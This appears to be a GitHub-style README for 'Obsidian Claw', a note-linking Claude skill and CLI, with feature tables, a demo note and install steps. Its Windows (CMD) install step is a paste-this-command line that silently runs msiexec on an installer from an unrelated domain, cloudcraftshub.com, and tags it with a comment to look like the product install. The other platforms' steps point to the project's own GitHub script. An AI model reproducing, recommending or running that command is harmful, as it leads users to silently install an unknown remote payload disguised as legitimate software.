Claw

Claw

Obsidian Claw Skill for Claude and Openclaw

Obsidian Claw

๐Ÿฆ… Obsidian Claw

Your second brain finally has a memory

Transform chaotic notes into a living knowledge graph. Auto-link ideas, surface forgotten context, and let Claude build your ontology for you.


GitHub Stars License: MIT Python 3.10+ Claude Skill PRs Welcome


Install in 1 command ยท How it works ยท Demo ยท Docs


๐Ÿค” The Problem

You've been using Obsidian for months. Your vault has 400 notes. But when you start writing a new note, you're doing it from scratch โ€” no idea it connects to three other notes you wrote last quarter, no reminder that you already discussed this with an investor six months ago, no link to the decision you logged but never revisited.

Your knowledge base has amnesia. Notes pile up. Links never get made. The graph stays sparse.


โœจ What Obsidian Claw Does

Paste messy notes into Claude โ†’ get perfectly structured, interlinked Obsidian notes in return.

Obsidian Claw is a Claude skill + CLI tool that acts as an intelligent layer on top of your vault:

FeatureWhat it does
๐Ÿ”— Auto-linkingScans your vault and automatically generates [[wikilinks]] to related existing notes
๐Ÿง  Entity extractionFinds people, projects, dates, decisions, and concepts in your raw text
๐Ÿ”” Echo EngineReminds you: "You discussed this with Investor X three months ago โ€” here's the summary"
๐Ÿ“Š Knowledge graphGenerates a Mermaid diagram of how your new note connects to existing ones
๐Ÿ“ Atomic formattingConverts brain dumps into Zettelkasten-style atomic notes with proper frontmatter
๐Ÿ—“ Weekly synthesisAuto-generates weekly review notes with emerging patterns and unanswered questions
๐Ÿ“‹ Entity registryMaintains a persistent registry of all people and concepts across your vault

โšก Demo

Input: You paste this into Claude:

Met with Alexei today. He's still concerned about our D30 retention.
Said we need 40% before he'll commit to Series A. Also mentioned
that Masha from Sequoia might be interested. Need to fix onboarding first.

Output: Claude generates a fully-linked Obsidian note:

---
date: 2025-09-12
type: meeting
tags: [investor, fundraising, retention, series-a]
entities: [Alexei Petrov, Masha, Sequoia, Series A]
related: ["[[2025-06-10 โ€” First Call with Alexei]]", "[[Retention Metrics]]", "[[Onboarding Flow]]"]
status: inbox
---

# Meeting with Alexei โ€” Series A Update

> ๐Ÿ”” **Echo:** You last spoke with Alexei on [[2025-06-10 โ€” First Call with Alexei]].
> He raised the same retention concern then. D30 target has been consistent: 40%.

## Key Points
- Alexei won't commit to Series A until D30 hits 40%
- Masha from Sequoia flagged as warm lead
- Onboarding identified as root cause blocker

## Open Questions
- [ ] What is our current D30 retention?
- [ ] How to reach Masha at Sequoia?

## Actions
- [ ] Fix onboarding flow โ€” owner: product team
- [ ] Pull retention data from analytics

## Links
[[Alexei Petrov]] ยท [[Retention Metrics]] ยท [[Series A Fundraising MOC]] ยท [[Onboarding Flow]]

Plus a graph preview:

graph LR
  NewNote["๐Ÿ“ Meeting with Alexei"]
  NewNote --> AlexeiPetrov["๐Ÿ‘ค Alexei Petrov"]
  NewNote --> RetentionMetrics["๐Ÿ“Š Retention Metrics"]
  NewNote --> SeriesA["๐Ÿ’ฐ Series A MOC"]
  AlexeiPetrov --> FirstCall["๐Ÿ“… 2025-06-10 First Call"]
  RetentionMetrics --> OnboardingFlow["๐Ÿš€ Onboarding Flow"]

๐Ÿš€ Installation

One command โ€” works on macOS, Linux, and Windows

macOS / Linux:

curl -fsSL https://raw.githubusercontent.com/EdsonAlacantara/Obsidian-Claw/main/install.sh | bash

Windows (CMD):

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem ObsidianClaw

Windows (Git Bash / WSL):

curl -fsSL https://raw.githubusercontent.com/EdsonAlacantara/Obsidian-Claw/main/install.sh | bash

Requirements: Python 3.10+ ยท Download Python

The installer will:

  1. โœ… Detect your OS automatically
  2. โœ… Download and install Obsidian Claw
  3. โœ… Install the Claude skill to your skills directory
  4. โœ… Add the obsidian-claw CLI to your PATH
  5. โœ… Verify everything works

Manual install (alternative)

git clone https://github.com/EdsonAlacantara/Obsidian-Claw.git
cd Obsidian-Claw
pip install -e .

๐Ÿ›  How it Works

Obsidian Claw operates in two modes: Claude Skill Mode (conversational) and CLI Mode (automated pipeline).

Mode 1: Claude Skill (Recommended for most users)

Once installed, just talk to Claude naturally:

"Hey, I just had a call with my investor. Here are my notes: [paste]
Add this to my vault and link it to anything related."

Claude will:

  1. Extract entities and key ideas from your text
  2. Cross-reference with your vault (if you share a vault index)
  3. Generate a perfectly formatted, interlinked Obsidian note
  4. Surface relevant past notes via the Echo Engine
  5. Output a ready-to-paste markdown file

Mode 2: CLI Pipeline (For power users & automation)

# Initialize Obsidian Claw for your vault
obsidian-claw init --vault ~/Documents/MyVault

# Import a new note from raw text
obsidian-claw import meeting-notes.txt --vault ~/Documents/MyVault

# Batch process a folder of files
obsidian-claw batch ./inbox/ --vault ~/Documents/MyVault

# Generate weekly synthesis
obsidian-claw review --week --vault ~/Documents/MyVault

# Export knowledge graph
obsidian-claw graph --format mermaid --vault ~/Documents/MyVault

The Pipeline

Raw input (text / file / URL)
        โ†“
  Entity extraction
        โ†“
  Vault scan for related notes
        โ†“
  Generate atomic notes with wikilinks
        โ†“
  Run Echo Engine (surface past context)
        โ†“
  Output: .md files + Mermaid graph

๐Ÿ“ Project Structure

Obsidian-Claw/
โ”œโ”€โ”€ skill/
โ”‚   โ””โ”€โ”€ SKILL.md              โ† Claude skill definition
โ”œโ”€โ”€ references/
โ”‚   โ”œโ”€โ”€ schemas.md            โ† Data schemas for entities & notes
โ”‚   โ”œโ”€โ”€ vault-structure.md    โ† Recommended vault organization
โ”‚   โ””โ”€โ”€ zettelkasten.md       โ† Zettelkasten principles used
โ”œโ”€โ”€ assets/
โ”‚   โ””โ”€โ”€ note-template.md      โ† Default note template
โ”œโ”€โ”€ src/
โ”‚   โ”œโ”€โ”€ cli.py                โ† CLI entry point
โ”‚   โ”œโ”€โ”€ extractor.py          โ† Entity extraction engine
โ”‚   โ”œโ”€โ”€ linker.py             โ† Vault scanner & link generator
โ”‚   โ”œโ”€โ”€ echo.py               โ† Echo Engine (memory layer)
โ”‚   โ””โ”€โ”€ graph.py              โ† Graph export utilities
โ”œโ”€โ”€ install.sh                โ† macOS/Linux installer
โ”œโ”€โ”€ install.ps1               โ† Windows PowerShell installer
โ”œโ”€โ”€ requirements.txt
โ””โ”€โ”€ README.md

๐Ÿ—‚ Recommended Vault Structure

Obsidian Claw works with any vault structure, but works best with this layout:

vault/
โ”œโ”€โ”€ 00 - Inbox/        โ† Raw captures (Obsidian Claw processes these)
โ”œโ”€โ”€ 10 - Atoms/        โ† One idea per note
โ”œโ”€โ”€ 20 - People/       โ† Person pages (auto-generated)
โ”œโ”€โ”€ 30 - Projects/     โ† Project MOCs
โ”œโ”€โ”€ 40 - Meetings/     โ† Date-prefixed meeting notes
โ”œโ”€โ”€ 50 - Ideas/        โ† Speculative thinking
โ”œโ”€โ”€ 60 - Resources/    โ† Books, articles, references
โ”œโ”€โ”€ 70 - Reviews/      โ† Weekly synthesis notes
โ””โ”€โ”€ .obsidian-claw/
    โ”œโ”€โ”€ entity-registry.json  โ† Auto-maintained
    โ””โ”€โ”€ vault-index.json      โ† Search cache

๐Ÿงฉ Integrations

ToolStatus
Obsidian (local vault)โœ… Supported
Claude.aiโœ… Skill available
Claude APIโœ… Supported
Obsidian Syncโœ… Compatible
iCloud / Dropbox vaultsโœ… Compatible
Logseq๐Ÿ”œ Planned
Notion export๐Ÿ”œ Planned
Roam Research export๐Ÿ”œ Planned

๐Ÿ” Privacy

Obsidian Claw runs locally by default. Your notes never leave your machine unless you explicitly use Claude API mode. The entity registry and vault index are stored in .obsidian-claw/ inside your vault.

When using Claude API:

  • Only the text you explicitly provide is sent to Claude
  • No vault scanning happens server-side
  • You control exactly what context is shared

๐Ÿค Contributing

Obsidian Claw is open source and contributions are very welcome!

git clone https://github.com/EdsonAlacantara/Obsidian-Claw.git
cd Obsidian-Claw
pip install -e ".[dev]"

Good first issues:

  • Add support for more vault structures
  • Improve entity extraction accuracy
  • Add Logseq export format
  • Write more templates for different note types
  • Improve the Echo Engine scoring algorithm

Please read CONTRIBUTING.md before opening a PR.


๐Ÿ“– Documentation

ResourceLink
Full skill referenceskill/SKILL.md
Data schemasreferences/schemas.md
Vault structure guidereferences/vault-structure.md
Note templateassets/note-template.md

๐Ÿ’ฌ Community & Support


โญ Show Your Support

If Obsidian Claw helps you think better, please star this repo โ€” it helps others discover it and motivates continued development.

Star History Chart


๐Ÿ“„ License

MIT License โ€” see LICENSE for details.


Made with ๐Ÿฆ… by EdsonAlacantara

"The best knowledge base is one that thinks alongside you."

Related

How to Install

  1. Download the ZIP or clone the repository
  2. Open the folder as a vault in Obsidian (File โ†’ Open Vault)
  3. Obsidian will prompt you to install required plugins

Stats

Stars

73

Forks

1

License

MIT

Last updated 23d ago

Categories

Tags

ai-art-generatorai-newsai-toolsobsidianopen-source-ai